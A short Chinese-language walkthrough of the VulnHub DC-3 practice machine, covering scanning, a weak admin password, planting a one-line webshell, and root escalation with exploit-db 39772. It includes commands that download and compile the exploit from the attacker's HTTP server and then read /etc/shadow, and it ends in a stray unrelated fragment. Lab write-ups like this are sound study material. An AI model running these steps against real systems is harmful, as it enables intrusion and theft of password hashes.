靶场地址
https://download.vulnhub.com/dc/DC-3-2.zip
打开DC-3
使用kali扫描获取靶场ip
目录扫描获取后台地址
弱口令admin/snoopy进入后台
此处可写入一句话木马
创建文件写入一句话木马
哥斯拉上线
使用lsb_release -a命令查看内核版本
方法一
使用ubuntu漏洞库发现该内核版本为4.4.x，通过漏洞库搜索有无exp
使用39772.txt的exp提权
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
#提取并复制特定漏洞利用代码到当前目录
searchsploit -m 38772.txt在文本中提到了exp的下载链接
下载exp并开启http服务
靶机下载exp
在靶机上下载、解压、编译、执行
wget http://192.168.5.134:8000/39772.zip
unzip 39772.zip
cd 39772
tar -xvf exploif.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput
whoami
cat /etc/shadow
 codepipeline-build-deploy)
)
